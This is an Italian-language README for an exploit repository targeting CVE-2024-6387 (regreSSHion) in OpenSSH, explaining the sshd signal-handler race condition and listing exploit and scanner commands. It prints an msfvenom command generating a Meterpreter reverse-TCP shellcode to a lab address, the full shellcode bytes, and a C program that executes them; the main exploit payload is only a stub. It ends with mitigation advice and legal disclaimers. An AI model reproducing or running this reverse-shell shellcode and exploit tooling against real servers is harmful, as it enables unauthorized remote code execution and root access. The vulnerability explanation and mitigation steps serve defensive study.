EXPLOIT CVE-2024-6387

💥 EXPLOIT CVE-2024-6387 (regreSSHion)

Strumento per analisi, rilevamento e test controllati della vulnerabilità CVE-2024-6387 su server OpenSSH.

⚠️ Avviso Legale ed Etico

Questo repository è esclusivamente educativo.
Usalo solo in:

• Laboratori (HTB, TryHackMe)
• Ambienti propri
• Audit con autorizzazione esplicita

⚠️ Scansionare o sfruttare sistemi senza permesso è illegale.
Questo contenuto è orientato alla difesa e all'apprendimento.

📑 Tabella dei Contenuti

• 📖 Descrizione Generale
• 🔍 Dettagli Tecnici
• 📊 Versioni Affette
• ⚙️ Uso
• 🛠️ Mitigazione e Rimedi
• 📚 Riferimenti
• 👤 Autore
• 📢 Disclaimer

📖 Descrizione Generale

CVE-2024-6387, conosciuta come regreSSHion, è una regressione di una vulnerabilità precedentemente corretta nel 2006 (CVE-2006-5051).

È stata reintrodotta in OpenSSH 8.5p1 (2020) e consente:

• Esecuzione remota di codice (RCE)
• Accesso potenziale come root
• Attacco non autenticato
• Senza interazione dell'utente

Esiste anche una vulnerabilità correlata:

• CVE-2024-6409 → colpisce il processo figlio in ambienti con separazione dei privilegi

🔍 Dettagli Tecnici

La vulnerabilità si basa su una race condition nel gestore dei segnali di sshd.

🧠 Funzionamento

1. Il server definisce LoginGraceTime (predefinito: 120s)
2. Se il cliente non si autentica:
   • Viene attivato il segnale SIGALRM
3. Il gestore esegue funzioni non sicure per i segnali, come:
   • syslog()
   • malloc()
   • free()

💣 Impatto

Ciò può provocare:

• Corruzione della memoria (heap)
• Esecuzione arbitraria di codice

⏱️ Difficoltà di sfruttamento

• Richiede ~10,000 tentativi (race condition)
• Su sistemi a 32 bit:
  • Può richiedere 6–8 ore
• Fattori:
  • ASLR
  • Latenza di rete
  • Carico del sistema

📊 Versioni Affette

🛡️ OpenBSD non è vulnerabile grazie a protezioni aggiuntive implementate dal 2001.

⚙️ Uso

python3 exploit.py

🔎 Scansione di server OpenSSH

python3 scanner.py <IP> -p 22

```bash

# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizzato

#include <stdio.h>

// Un segnaposto del tuo payload personalizzato
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload effettivo

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

🛠️ Mitigazione e Rimedi Si consiglia di seguire questi passaggi con urgenza, specialmente su asset esposti a Internet : Aggiornamento Immediato: Aggiornare a OpenSSH 9.8p1 o applicare le patch specifiche di ogni distribuzione . Configurazione di sshd: Se l'aggiornamento non è possibile, impostare LoginGraceTime 0 nel file /etc/ssh/sshd_config . Avvertenza: Questo previene l'RCE, ma espone il server a un denial of service (DoS) per esaurimento delle connessioni . Controllo di Accesso: Limitare l'accesso SSH tramite controlli basati sulla rete (Firewall/VPN) e segmentazione della rete per evitare movimenti laterali .

Riferimenti

• https://www.zscaler.com/blogs/security-research/openssh-vulnerabilities-cve-2024-6387-cve-2024-6409-pose-significant
• https://www.exploit-db.com/exploits/52269
• https://www.offsec.com/blog/regresshion-exploit-cve-2024-6387/
• https://github.com/xaitax/CVE-2024-6387_Check

👤 Autore

Kaleth Corcho
Ingegneria dei Sistemi · WolvesTI · Bogotá, Colombia

📢 Disclaimer

• Nota Importante:
  • Questo strumento è sviluppato e utilizzato esclusivamente per test di penetrazione autorizzati e esercitazioni di red team. È progettato per identificare e sfruttare vulnerabilità nel server OpenSSH su sistemi Linux basati su glibc. L'uso non autorizzato di questo strumento è severamente vietato. Il proprietario di questo strumento non è responsabile per alcun accesso non autorizzato o uso dannoso dello strumento.
• Avviso Legale:
  • Un uso non autorizzato di questo strumento su sistemi o reti senza esplicita autorizzazione dei rispettivi proprietari può violare leggi e regolamenti applicabili. Gli utenti sono responsabili di garantire il rispetto degli standard legali ed etici che disciplinano i test e le valutazioni di cybersecurity.